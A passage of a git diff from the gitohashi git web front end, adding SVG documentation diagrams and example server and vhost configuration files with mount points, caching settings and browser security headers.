offset="1"/></radialGradient><filter id="m" x="-.0744" y="-.0744" width="1.15" height="1.15" color-interpolation-filters="sRGB"><feGaussianBlur stdDeviation="0.076639535"/></filter><radialGradient id="h" cx="133" cy="366" r="1.24" gradientTransform="translate(-6.51 -8.65)" gradientUnits="userSpaceOnUse"><stop stop-color="#ffff85" stop-opacity=".529" offset="0"/><stop stop-color="#fff" stop-opacity="0" offset="1"/></radialGradient><filter id="p" x="-.0744" y="-.0744" width="1.15" height="1.15" color-interpolation-filters="sRGB"><feGaussianBlur stdDeviation="0.076639535"/></filter><radialGradient id="b" cx="133" cy="366" r="1.24" gradientTransform="translate(-19.5 -19.3)" gradientUnits="userSpaceOnUse"><stop stop-color="#ffffae" stop-opacity=".661" offset="0"/><stop stop-color="#fff" stop-opacity="0" offset="1"/></radialGradient><filter id="q" x="-.0744" y="-.0744" width="1.15" height="1.15" color-interpolation-filters="sRGB"><feGaussianBlur stdDeviation="0.076639535"/></filter><radialGradient id="i" cx="133" cy="366" r="1.24" gradientTransform="translate(-.638 .319)" gradientUnits="userSpaceOnUse"><stop stop-color="#ffff8e" stop-opacity=".554" offset="0"/><stop stop-color="#fff" stop-opacity="0" offset="1"/></radialGradient><filter id="r" x="-.0744" y="-.0744" width="1.15" height="1.15" color-interpolation-filters="sRGB"><feGaussianBlur stdDeviation="0.076639535"/></filter><radialGradient id="a" cx="132" cy="362" r="6.56" gradientTransform="matrix(.672 -1.22 1.76 .971 -1.12e3 -72.5)" gradientUnits="userSpaceOnUse"><stop stop-color="#333" offset="0"/><stop stop-color="#333" stop-opacity="0" offset="1"/></radialGradient><filter id="j" x="-.0351" y="-.0396" width="1.07" height="1.08" color-interpolation-filters="sRGB"><feGaussianBlur stdDeviation="0.70119576"/></filter></defs><metadata><rdf:RDF><cc:Work rdf:about=""><dc:format>image/svg+xml</dc:format><dc:type rdf:resource="http://purl.org/dc/dcmitype/StillImage"/><dc:title/></cc:Work></rdf:RDF></metadata><g transform="translate(508 -24.2)"><g transform="matrix(2.55 0 0 2.55 -610 -850)" filter="url(#j)"><g><rect x="41.6" y="353" width="19.4" height="19.3"/><path d="m60.9 368c4.05-0.203 5.54 3.01 9.16 4.9 3.03 1.9 6.6 3.6 10.3 3.38 3.06-0.07 9.2 1.25 9.29 3.42l-0.272 1.38-0.64 1.59-0.994 2.01-1.26 1.04-1.97 0.451-3.51 0.178c-3.88 0.0595-2.48 0.957-7.36 0.951-4.01-0.405-7.58-5.8-7.5-8.6 0.0379-1.84-0.0924-3.47-1.47-4.57-1.13-0.903-2.55-1.41-3.77-1.4l0.0765-4.11z"/><path d="m82 357c1.09-1.64-4.68-3.24-6.3-0.337-1.76 2.77-6.05-0.673-6.73 2.85-0.325 2.8-4.16 1.29-5.23 3.91-1.11 1.97 0.876 5.18 3.1 5.35 3.03-0.111 3.3 3.89 6.46 3.71 2.21 1.3 3.56 6.16 6.68 5.36 3.21-1.58 5.85 0.48 3.86 2.46-1.41 2.1-2.35 4.98 1.44 4.58 2.87-0.551 0.594-2.11 0.711-3.4-0.4-6 1.33-10.9-1.92-14.4l-3.59-5.2 0.546-3.2z"/></g><path d="m60.5 353c5.51 0.162 4.63-7.25 9.3-8.32 3.9-0.916 5.03 1 8.97 0.599 2.2-8e-3 4.88 0.717 4.87 2.93l-0.103 1.43-0.454 1.1-1e-3 0.564 0.116 0.6 0.149 0.527 1.45 3.5c3.78 9.04-5.67 8.36-2.16 2.18 4.98-3.66-8.24-3.97-10.3-3.05-3.56 1.31-5.52 4.85-9.02 6.14-0.597 0.338-1.54 0.99-2.45 0.766-0.0605-0.96-0.404-8.01-0.417-8.98z"/></g><g><rect x="-505" y="48.9" width="49.4" height="49.3" fill="#666"/><rect x="-505" y="72.5" width="49.6" height="13.1" fill="#4d4d4d"/><g font-family="'Open Sans'" letter-spacing="0px" text-anchor="middle" word-spacing="0px"><text x="-480.75674" y="59.516273" fill="#ffff00" font-size="5.4px" stroke-width=".675" text-align="center" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-480.75674" y="59.516273" fill="#ffff00" font-family="'Open Sans'" stroke-width=".675">static html</tspan></text><text x="-480.75674" y="64.70089" fill="#ffff00" font-size="5.4px" stroke-width=".675" text-align="center" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-480.75674" y="64.70089" fill="#ffff00" font-family="'Open Sans'" stroke-width=".675">template</tspan></text><text x="-479.9093" y="76.950752" fill="#ffffff" font-size="2.59px" stroke-width=".323" text-align="center" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-479.9093" y="76.950752">&lt;div id='initial-json' style="display:none"&gt;</tspan><tspan x="-479.9093" y="80.185211"><tspan font-weight="bold" stroke-width=".323">&lt;!-- libjsongit2:initial-json--&gt;</tspan></tspan><tspan x="-479.9093" y="83.419678"><tspan font-family="'Open Sans'" stroke-width=".323"> </tspan>&lt;/div&gt;</tspan></text></g></g><rect x="-504" y="72.4" width="49.6" height="15.4" fill-opacity="0"/><path d="m-505 72.7h55.2" fill="none" stroke="#fff" stroke-dasharray="2.0256265, 0.67520884" stroke-width=".675"/><path d="m-508 85.8h55.2" fill="none" stroke="#fff" stroke-dasharray="2.02562652, 0.67520884" stroke-width=".675"/><g><path d="m-456 86.2c10.3-0.517 14.1 7.68 23.4 12.5 7.74 4.85 16.8 9.19 26.2 8.63 7.82-0.179 23.5 3.19 23.7 8.73l-0.694 3.53-1.63 4.05-2.54 5.12-3.22 2.66-5.02 1.15-8.96 0.454c-9.89 0.152-6.34 2.44-18.8 2.43-10.2-1.03-19.3-14.8-19.1-21.9 0.0967-4.7-0.236-8.85-3.76-11.7-2.89-2.31-6.51-3.6-9.62-3.57l0.195-10.5z" fill="#666"/><path d="m-420 106c-0.127 0.92 0.857 0.925 1.21 1.45 0.0998 0.15 0.141 0.333 0.241 0.482 0.063 0.0947 0.161 0.161 0.241 0.241 0.241 0.241 0.482 0.482 0.723 0.723 0.0804 0.0804 0.178 0.146 0.241 0.241 0.0998 0.15 0.114 0.355 0.241 0.482 0.127 0.127 0.333 0.141 0.482 0.241 0.0947 0.0627 0.161 0.161 0.241 0.241 0.0804 0.0804 0.19 0.139 0.241 0.241 0.036 0.072-0.036 0.169 0 0.241 0.0508 0.102 0.19 0.139 0.241 0.241 0.0677 0.135-0.0666 0.865 0 0.965 0.126 0.189 0.381 0.279 0.482 0.482 0.0296 0.0594 0 1.54 0 1.69 0 0.0804-0.036 0.169 0 0.241 0.0508 0.102 0.19 0.14 0.241 0.241 0.036 0.0719-0.036 0.169 0 0.241 0.0508 0.102 0.19 0.139 0.241 0.241 0.0361 0.0719-0.0255 0.165 0 0.241 0.0587 0.176 0.262 0.613 0.482 0.723 0.0719 0.0357 0.169-0.0357 0.241 0 0.102 0.0506 0.14 0.19 0.241 0.241 0.0719 0.0357 0.184-0.0566 0.241 0 0.0569 0.0566-0.0361 0.169 0 0.241 0.0508 0.102 0.161 0.161 0.241 0.241 0.0804 0.0804 0.139 0.19 0.241 0.241 0.152 0.0758 0.813-0.0758 0.965 0 0.102 0.0505 0.139 0.19 0.241 0.241 0.16 0.0799 0.762-0.0677 0.965 0 1.75 0.582-0.38-0.0694 0.723 0.482 0.144 0.0719 0.339-0.072 0.482 0 0.102 0.0508 0.14 0.19 0.241 0.241 0.0721 0.0357 0.161 0 0.241 0 0.161 0 0.33-0.0508 0.482 0 0.108 0.0357 0.139 0.19 0.241 0.241 0.072 0.0357 0.169-0.0357 0.241 0 0.102 0.0505 0.133 0.205 0.241 0.241 0.153 0.0505 0.322 0 0.482 0 0.544 0 0.913-0.0259 1.45 0.241 0.533 0.267 0.0748 0.15 0.241 0.482 0.0508 0.101 0.161 0.161 0.241 0.241 0.0803 0.0803 0.14 0.19 0.241 0.241 0.072 0.0357 0.205-0.072 0.241 0 0.072 0.144-0.072 0.339 0 0.482 0.0359 0.0721 0.205-0.0719 0.241 0 0.072 0.144-0.0508 0.33 0 0.482 0.0359 0.108 0.19 0.14 0.241 0.241 0.036 0.0718-0.0569 0.184 0 0.241 0.0569 0.0566 0.184-0.0567 0.241 0 0.114 0.114-0.0508 0.33 0 0.482 0.0569 0.17 0.184 0.312 0.241 0.482 0.0524 0.157 0 1.49 0 1.69v0.965c0 0.161 0.0508 0.33 0 0.482-0.0569 0.17-0.184 0.312-0.241 0.482-0.0255 0.0763 0 0.161 0 0.241 0 0.227 0.0456 1.07 0 1.21-0.036 0.108-0.19 0.139-0.241 0.241-0.0359 0.0719 0 0.161 0 0.241v1.45 0.482c0 0.0804-0.0359 0.169 0 0.241 0.0508 0.102 0.161 0.161 0.241 0.241 0.0803 0.0804 0.161 0.161 0.241 0.241 0.0803 0.0804 0.14 0.19 0.241 0.241 0.144 0.072 0.338-0.0719 0.482 0 1.1 0.552-1.02-0.1 0.723 0.482 0.0763 0.0255 0.165-0.0259 0.241 0 0.17 0.0567 0.308 0.198 0.482 0.241 0.156 0.0394 0.326-0.0394 0.482 0 0.174 0.0439 0.312 0.184 0.482 0.241 0.256 0.0854 0.708-0.0856 0.965 0 1.75 0.582-0.38-0.0694 0.723 0.482 0.072 0.0357 0.169-0.0357 0.241 0 0.203 0.102 0.279 0.381 0.482 0.482 0.072 0.0357 0.161 0 0.241 0 0.241 0 0.49-0.0586 0.723 0 0.11 0.0277 0.161 0.161 0.241 0.241 0.241 0 0.487-0.0472 0.723 0 0.436-0.145 0.448 0.391 0.723 0.482 0.153 0.0505 0.326-0.039 0.482 0 0.174 0.0439 0.312 0.184 0.482 0.241 0.0763 0.0259 0.169-0.0357 0.241 0 0.102 0.0506 0.14 0.19 0.241 0.241 0.0529 0.0263 1.43 7e-3 1.45 0 0.163-0.0547 0.539-0.631 0.723-0.723 0.072-0.0357 0.169 0.0357 0.241 0 0.102-0.0505 0.139-0.19 0.241-0.241 0.072-0.0357 0.174 0.0446 0.241 0 0.189-0.126 0.293-0.356 0.482-0.482 0.0669-0.0447 0.161 0 0.241 0 0.161 0 0.33 0.0508 0.482 0 0.108-0.0357 0.14-0.19 0.241-0.241 0.156-0.078 1.22 0.0758 1.45 0 0.972-0.324 0.0967-0.41 0.723-0.723 0.333-0.166 0.216 0.292 0.482-0.241 0.0359-0.0719-0.0569-0.184 0-0.241 0.499-0.499-0.0204 0.762 0.482-0.241 0.0359-0.072 0-0.161 0-0.241s0.0359-0.169 0-0.241c-0.0508-0.102-0.19-0.14-0.241-0.241-0.0359-0.0719 0-0.161 0-0.241 0-0.545-0.0359 0.108 0.241-0.723 0.0298-0.0892 0.0312-1.38 0-1.45-0.0508-0.102-0.19-0.139-0.241-0.241-0.0437-0.0873 0-1.04 0-1.21 0-1.1 0.114-0.0153-0.241-0.723-0.0359-0.0719 0-0.161 0-0.241v-0.241c0-0.188 0.0439-1.56 0-1.69-0.0569-0.17-0.174-0.315-0.241-0.482-0.0944-0.236-0.127-0.496-0.241-0.723-0.0508-0.102-0.19-0.139-0.241-0.241-0.0758-0.152 0.0758-0.813 0-0.965-0.0508-0.102-0.205-0.133-0.241-0.241-0.11-0.329 0.11-1.12 0-1.45-0.036-0.108-0.19-0.139-0.241-0.241-0.0368-0.0735 0-0.615 0-0.723v-1.93c0-0.109 0.0368-0.65 0-0.723-0.13-0.259-0.353-0.464-0.482-0.724-0.072-0.144 0.0508-0.33 0-0.482-0.277-0.831-0.241-0.179-0.241-0.723v-1.93c0-0.0804 0.0569-0.184 0-0.241-0.0569-0.0566-0.184 0.0566-0.241 0-0.0569-0.0566 0.0359-0.169 0-0.241-0.0508-0.102-0.161-0.161-0.241-0.241-0.0803-0.0804-0.14-0.19-0.241-0.241-0.072-0.0357-0.161 0-0.241 0h-0.241-1.21-3.86-2.89-0.965c-0.161 0-0.326 0.039-0.482 0-0.247-0.0616-0.474-0.191-0.723-0.241-0.158-0.0316-0.322 0-0.482 0h-1.21c-0.161 0-0.33 0.0506-0.482 0-0.108-0.0357-0.14-0.19-0.241-0.241-0.072-0.0357-0.161 0-0.241 0-0.161-0.0804-0.333-0.141-0.482-0.241-0.0947-0.0628-0.133-0.205-0.241-0.241-0.362-0.12-0.422 0.06-0.723 0-0.325-0.0649-0.64-0.176-0.965-0.241-0.0789-0.0153-0.161 0-0.241 0h-0.965-0.723c-0.161 0-0.33 0.0505-0.482 0-0.108-0.0357-0.133-0.205-0.241-0.241-0.229-0.0763-0.495 0.0763-0.723 0-0.17-0.0567-0.322-0.161-0.482-0.241-0.241 0-0.487 0.0472-0.723 0-0.97-0.194-0.111-0.176-0.723-0.482-0.0719-0.0357-0.165 0.0259-0.241 0-0.17-0.0566-0.312-0.184-0.482-0.241-0.229-0.0763-0.495 0.0763-0.723 0-0.161-0.0541-0.818-0.891-0.965-0.965-0.216-0.108-0.482 0-0.723 0-0.58 0 0.102 0.0259-0.965-0.241-0.078-0.0204-0.169 0.0357-0.241 0-0.102-0.0506-0.133-0.205-0.241-0.241-0.153-0.0505-0.326 0.0394-0.482 0-0.174-0.0431-0.312-0.184-0.482-0.241-0.217-0.0725-0.506 0.0722-0.723 0-0.216-0.072-0.279-0.381-0.482-0.482-0.0719-0.0357-0.161 0-0.241 0-0.842 0-0.684-0.0106-1.69 0.241z" fill="url(#a)"/><path d="m-402 59.2c2.79-4.18-11.9-8.26-16.1-0.86-4.5 7.06-15.4-1.72-17.2 7.27-0.829 7.14-10.6 3.29-13.3 9.97-2.83 5.02 2.24 13.2 7.92 13.7 7.73-0.284 8.42 9.94 16.5 9.46 5.64 3.33 9.08 15.7 17 13.7 8.19-4.02 14.9 1.22 9.85 6.28-3.6 5.36-5.99 12.7 3.69 11.7 7.32-1.41 1.52-5.39 1.81-8.69-1.02-15.3 3.4-27.8-4.89-36.6l-9.17-13.3 1.39-8.16z" fill="#d4aa00"/><text x="-416.19669" y="120.57246" fill="#ffffff" font-family="'Open Sans'" font-size="5.4px" letter-spacing="0px" stroke-width=".675" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-416.19669" y="120.57246">remainder</tspan><tspan x="-416.19669" y="127.32455">of html</tspan></text><text x="-419.62625" y="77.119873" fill="#000000" font-family="'Open Sans'" font-size="5.4px" letter-spacing="0px" stroke-width=".675" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-419.62625" y="77.119873">dynamically</tspan><tspan x="-419.62625" y="83.871964">generated</tspan><tspan x="-419.62625" y="90.624046">JSON</tspan></text></g><path d="m-457 48.9c14.1 0.415 11.8-18.5 23.7-21.2 9.95-2.34 12.8 2.56 22.9 1.53 5.6-0.0204 12.5 1.83 12.4 7.48l-0.263 3.65-1.16 2.81-2e-3 1.44 0.295 1.53 0.381 1.35 3.7 8.94c9.65 23.1-14.5 21.3-5.51 5.55 12.7-9.35-21-10.1-26.2-7.77-9.07 3.35-14.1 12.4-23 15.7-1.52 0.862-3.92 2.53-6.24 1.95-0.154-2.45-1.03-20.5-1.06-22.9z" fill="#666"/><g><path d="m-394 77.1c0.358 3.1-1.58 6.53 0.456 9.34 1.65 3.43 6.08-0.768 3.33-3.05-2.16-1.61-4.03-3.33-3.78-6.3z" fill="#666"/><text x="-420.20056" y="39.115841" fill="#ffffff" font-family="'Open Sans'" font-size="5.4px" letter-spacing="0px" stroke-width=".675" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-420.20056" y="39.115841" fill="#ffffff" font-family="'Open Sans'" stroke-width=".675">static html</tspan></text><text x="-419.95941" y="45.385567" fill="#ffffff" font-family="'Open Sans'" font-size="5.4px" letter-spacing="0px" stroke-width=".675" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-419.95941" y="45.385567" fill="#ffffff" font-family="'Open Sans'" stroke-width=".675">template</tspan></text><circle transform="matrix(2.55 0 0 2.55 -736 -807)" cx="133" cy="366" r="1.24" fill="url(#i)" filter="url(#r)"/><circle transform="matrix(4.95 0 0 4.95 -1.01e3 -1.64e3)" cx="114" cy="346" r="1.24" fill="url(#b)" filter="url(#q)"/><circle transform="matrix(4.47 0 0 4.47 -978 -1.49e3)" cx="127" cy="357" r="1.24" fill="url(#h)" filter="url(#p)"/><circle transform="matrix(4.47 0 0 4.47 -980 -1.54e3)" cx="127" cy="357" r="1.24" fill="url(#e)" filter="url(#m)"/><circle transform="matrix(4.47 0 0 4.47 -959 -1.51e3)" cx="127" cy="357" r="1.24" fill="url(#d)" filter="url(#l)"/><circle transform="matrix(3.48 0 0 3.48 -841 -1.18e3)" cx="127" cy="357" r="1.24" fill="url(#g)" filter="url(#k)" opacity=".486"/><circle transform="matrix(4.47 0 0 4.47 -999 -1.53e3)" cx="127" cy="357" r="1.24" fill="url(#f)" filter="url(#o)"/><circle transform="matrix(4.47 0 0 4.47 -993 -1.5e3)" cx="127" cy="357" r="1.24" fill="url(#c)" filter="url(#n)"/><text x="-478.18784" y="93.683533" fill="#ffff00" font-family="'Open Sans'" font-size="5.4px" letter-spacing="0px" stroke-width=".675" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-478.18784" y="93.683533" fill="#ffff00" font-family="'Open Sans'" stroke-width=".675">...remainder of html</tspan></text></g></g></svg>
diff --git a/doc/doc-assets/naked-and-sandwich.svg b/doc/doc-assets/naked-and-sandwich.svg
new file mode 100644
index 0000000..fc1dc29
--- /dev/null
+++ b/doc/doc-assets/naked-and-sandwich.svg
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg width="184.2mm" height="124.56mm" version="1.1" viewBox="0 0 184.20392 124.56111" xmlns="http://www.w3.org/2000/svg">
+	<defs>
+		<filter id="a" x="-.033749" y="-.051576" width="1.0675" height="1.1032" color-interpolation-filters="sRGB">
+			<feGaussianBlur stdDeviation="1.3371908"/>
+		</filter>
+	</defs>
+	<g transform="translate(-51.252 -98.979)">
+		<g>
+			<rect transform="matrix(1.8146 0 0 1.8146 304.67 -44.961)" x="-136.45" y="82.532" width="95.092" height="62.224" filter="url(#a)"/>
+			<rect x="56.116" y="103.84" width="172.56" height="112.91" fill="#f9f9f9"/>
+			<path d="m146.72 110.13v101.38h62.656v-13.961h-49.092v-43.044h49.092v-44.374z" fill="#5f8dd3"/>
+		</g>
+		<path d="m164.24 156.94v37.209h51.133v-6.3616h-39.314v-24.726h39.314v-6.1215z" fill="#a80" fill-opacity=".86364"/>
+		<rect x="179.6" y="165.58" width="43.951" height="8.162" fill="#f60" fill-opacity=".96281"/>
+		<rect x="179.6" y="176.38" width="43.951" height="8.162" fill="#f60" fill-opacity=".96281"/>
+		<g fill="#ffffff" font-family="'Open Sans'" letter-spacing="0px" text-anchor="middle" word-spacing="0px">
+			<text x="179.29561" y="119.79851" font-size="7.0215px" stroke-width=".87769" text-align="center" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="179.29561" y="119.79851" fill="#ffffff" stroke-width=".87769">Template HTML</tspan></text>
+			<text x="192.04271" y="161.17987" font-size="3.7114px" stroke-width=".46393" text-align="center" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="192.04271" y="161.17987" fill="#ffffff" stroke-width=".46393">dynamic JSON</tspan></text>
+			<text x="201.6248" y="170.64967" font-size="3.4405px" stroke-width=".43006" text-align="center" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="201.6248" y="170.64967" fill="#ffffff" stroke-width=".43006">cached or dynamic JSON</tspan></text>
+			<text x="201.53995" y="181.60657" font-size="3.4405px" stroke-width=".43006" text-align="center" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="201.53995" y="181.60657" fill="#ffffff" stroke-width=".43006">cached or dynamic JSON</tspan></text>
+		</g>
+		<rect x="62.953" y="109.33" width="63.146" height="101.85" fill="#f60" fill-opacity=".96471"/>
+		<g fill="#ffffff" font-family="'Open Sans'" letter-spacing="0px" word-spacing="0px">
+			<text x="93.898964" y="119.98466" font-size="7.0215px" stroke-width=".87769" text-align="center" text-anchor="middle" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="93.898964" y="119.98466" fill="#ffffff" stroke-width=".87769">"naked" repo file</tspan></text>
+			<g font-size="3.7114px" stroke-width=".46393">
+				<text x="71.254112" y="129.47945" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="71.254112" y="129.47945"><tspan font-weight="bold" stroke-width=".46393">/patch/</tspan></tspan><tspan x="71.254112" y="134.11874">text/plain raw diff</tspan><tspan x="71.254112" y="138.75803"/></text>
+				<text x="70.965675" y="143.79506" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="70.965675" y="143.79506"><tspan font-weight="bold" stroke-width=".46393">/plain/</tspan></tspan><tspan x="70.965675" y="148.43436">various assets served from</tspan><tspan x="70.965675" y="153.07364">inside the repo directly</tspan><tspan x="70.965675" y="157.71294"/></text>
+				<text x="70.626152" y="162.29762" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="70.626152" y="162.29762"><tspan font-weight="bold" stroke-width=".46393">/snapshot/</tspan></tspan><tspan x="70.626152" y="166.93692">archives generated from a</tspan><tspan x="70.626152" y="171.5762">specific repo and ref</tspan><tspan x="70.626152" y="176.2155"/></text>
+			</g>
+			<text x="93.580284" y="204.09814" font-size="3.4405px" stroke-width=".43006" text-align="center" text-anchor="middle" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="93.580284" y="204.09814" fill="#ffffff" stroke-width=".43006">... all cacheable</tspan></text>
+			<text x="179.02235" y="146.77275" font-size="3.4405px" stroke-width=".43006" text-align="center" text-anchor="middle" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="179.02235" y="146.77275" fill="#ffffff" stroke-width=".43006">never cached</tspan></text>
+		</g>
+		<text x="136.3925" y="163.42026" fill="#000000" font-family="'Open Sans'" font-size="3.841px" letter-spacing="0px" stroke-width=".48012" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="136.3925" y="163.42026" stroke-width=".48012">...or...</tspan></text>
+		<text x="157.53709" y="128.51778" fill="#ffffff" font-family="'Open Sans'" font-size="3.7114px" letter-spacing="0px" stroke-width=".46393" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="157.53709" y="128.51778"><tspan font-weight="bold" stroke-width=".46393">/everything else/</tspan></tspan><tspan x="157.53709" y="133.15707">Static HTML + dynamic</tspan><tspan x="157.53709" y="137.79636">JSON "sandwich"</tspan><tspan x="157.53709" y="142.43565"/></text>
+	</g>
+</svg>
diff --git a/etc-gitohashi/conf b/etc-gitohashi/conf
new file mode 100644
index 0000000..fd4e901
--- /dev/null
+++ b/etc-gitohashi/conf
@@ -0,0 +1,14 @@
+# these are the gitohashi server global settings
+#
+# stuff related to each vhosts should go in one
+# file per vhost in ./conf.d/
+
+{
+  "global": {
+   "uid": "48", # after init, run as apache user
+   "gid": "48", # after init, run as apache group
+   "server-string": "gitohashi",
+   "init-ssl": "yes"
+ }
+}
+
diff --git a/etc-gitohashi/conf.d/localhost b/etc-gitohashi/conf.d/localhost
new file mode 100644
index 0000000..71095be
--- /dev/null
+++ b/etc-gitohashi/conf.d/localhost
@@ -0,0 +1,141 @@
+# you should create one file like this per vhost in /etc/gitohashi/conf.d
+
+{
+	"vhosts": [{
+		# this should match the external hostname for the vhost,
+		# like xyz.com
+		"name": "localhost",
+		# multiple vhosts can occupy the same port (SNI is used
+		# to resolve)
+		"port": "443",
+		# required for avatar cache
+		"enable-client-ssl": "on",
+		# "ipv6": "on",
+
+		# You should store your real certificate key somewhere safer,
+		# eg on Fedora /etc/pki/tls/private, readable only by root.  But
+		# since the right place for this differs by distro and these
+		# particular certs are not valuable, we get them from
+		# /usr/local/share where they are installed.
+
+		"host-ssl-key":  "/usr/local/share/gitohashi/example-cert/localhost-100y.key.pem",
+		"host-ssl-cert": "/usr/local/share/gitohashi/example-cert/localhost-100y.cert.pem",
+
+		"mounts": [
+			{
+				# the dynamic html + json from libjsongit2
+				"mountpoint": "/git",
+				"origin": "callback://gitohashi"
+			},
+			{
+				# static assets like js, css, fonts
+				"mountpoint": "/git/_gitohashi",
+				"origin": "file:///usr/local/share/gitohashi/assets",
+				"cache-max-age": "7200",
+				"cache-reuse": "1",
+				"cache-revalidate": "0",
+				"cache-intermediaries": "0",
+	 			"extra-mimetypes": {
+					".zip": "application/zip",
+					".map": "application/json",
+					".ttf": "application/x-font-ttf"
+				}
+			},
+			{
+				# semi-static cached avatar icons
+				"mountpoint": "/git/avatar",
+				"origin": "callback://avatar-proxy",
+				"cache-max-age": "2400",
+				"cache-reuse": "1",
+				"cache-revalidate": "0",
+				"cache-intermediaries": "0"
+			}
+		],
+		
+		#
+		# these headers, which will be sent on every transaction, make
+		# recent browsers definitively ban any external script sources,
+		# no matter what might manage to get injected later in the
+		# page.  It's a last line of defence against any successful XSS.
+		#
+		
+		"headers": [{
+		        "content-security-policy": "default-src 'none'; img-src 'self' data: https://travis-ci.org https://api.travis-ci.org https://ci.appveyor.com https://scan.coverity.com; script-src 'self'; font-src 'self'; style-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'none';",
+		        "x-content-type-options": "nosniff",
+		        "x-xss-protection": "1; mode=block",
+		        "x-frame-options": "deny",
+		        "referrer-policy": "no-referrer"
+		}],
+
+		"ws-protocols": [
+
+		{"gitohashi": {
+			# template HTML to use for this vhost.  You'd normally
+			# copy this to gitohashi-vhostname.html and modify it
+			# to show the content, logos, links, fonts, css etc for
+			# your vhost.  It's not served directly but read from
+			# the filesystem.  Although it's cached in memory by
+			# gitohashi, it checks for changes and reloads if
+			# changed automatically.
+			#
+			# Putting logos etc as svg in css is highly recommended,
+			# like fonts these can be transferred once with a loose
+			# caching policy.  So in practice they cost very little,
+			# and allow the browser to compose the page without
+			# delay.
+			#
+			"html-file":	 "/usr/local/share/gitohashi/templates/gitohashi-example.html",
+			#
+			# vpath required at start of links into this vhost's
+			# gitohashi content for example if an external http
+			# server is proxying us, and has been told to direct
+			# URLs starting "/git" to us, this should be set to
+			# "/git/" so URLs we generate referring to our own pages
+			# can work.
+			#
+			"vpath":	 "/git/",
+			#
+			# base directory for the bare git repos we might serve
+			#
+			"repo-base-dir": "/srv/repositories",
+			#
+			# allow serving git repos that have gitolite read ACL
+			# rights for this user.  Set to "@all" to serve all
+			# available repos (except gitolite-admin, which will
+			# never be served) The recommended convention is a
+			# virtual user "v-vhostname" in gitolite config and here
+			# to mark which repos should be made available on this
+			# vhost.
+			#
+			"acl-user":	 "@all",
+			#
+			# url mountpoint for the avatar cache
+			#
+			"avatar-url":	 "/git/avatar/",
+			#
+			# libjsgit2 JSON cache... this
+			# should not be directly served
+			#
+			"cache-base":	"/var/cache/libjsongit2",
+			#
+			# restrict the JSON cache size
+			# to 100MB
+			#
+			"cache-size":   "100000000",
+			#
+			# optional flags, b0 = 1 = blog mode
+			#
+			"flags": 0
+			#"blog-repo-name":	"myrepo"
+		},
+		"avatar-proxy": {
+			"remote-base": "https://www.gravatar.com/avatar/",
+			#
+			# this dir is served via avatar-proxy
+			#
+			"cache-dir": "/var/cache/libjsongit2"
+		}}
+		]
+		}
+	]
+}
diff --git a/etc-gitohashi/conf.d/unixskt b/etc-gitohashi/conf.d/unixskt
new file mode 100644
index 0000000..9a59c1d
--- /dev/null
+++ b/etc-gitohashi/conf.d/unixskt
@@ -0,0 +1,127 @@
+# you should create one file like this per vhost in /etc/gitohashi/conf.d
+
+{
+	"vhosts": [{
+		# this has no special meaning but needs to be unique
+                "name":              "unixskt",
+                "unix-socket":       1,
+                # multiple vhosts can exist with different unix skt names
+		"interface":	     "/var/run/gitohashi-unixskt",
+		# required for avatar cache
+                "enable-client-ssl": "on",
+
+		"mounts": [
+			{
+				# the dynamic html + json from libjsongit2
+				"mountpoint": "/git",
+				"origin": "callback://gitohashi"
+			},
+			{
+				# static assets like js, css, fonts
+				"mountpoint": "/git/_gitohashi",
+				"origin": "file:///usr/local/share/gitohashi/assets",
+				"cache-max-age": "7200",
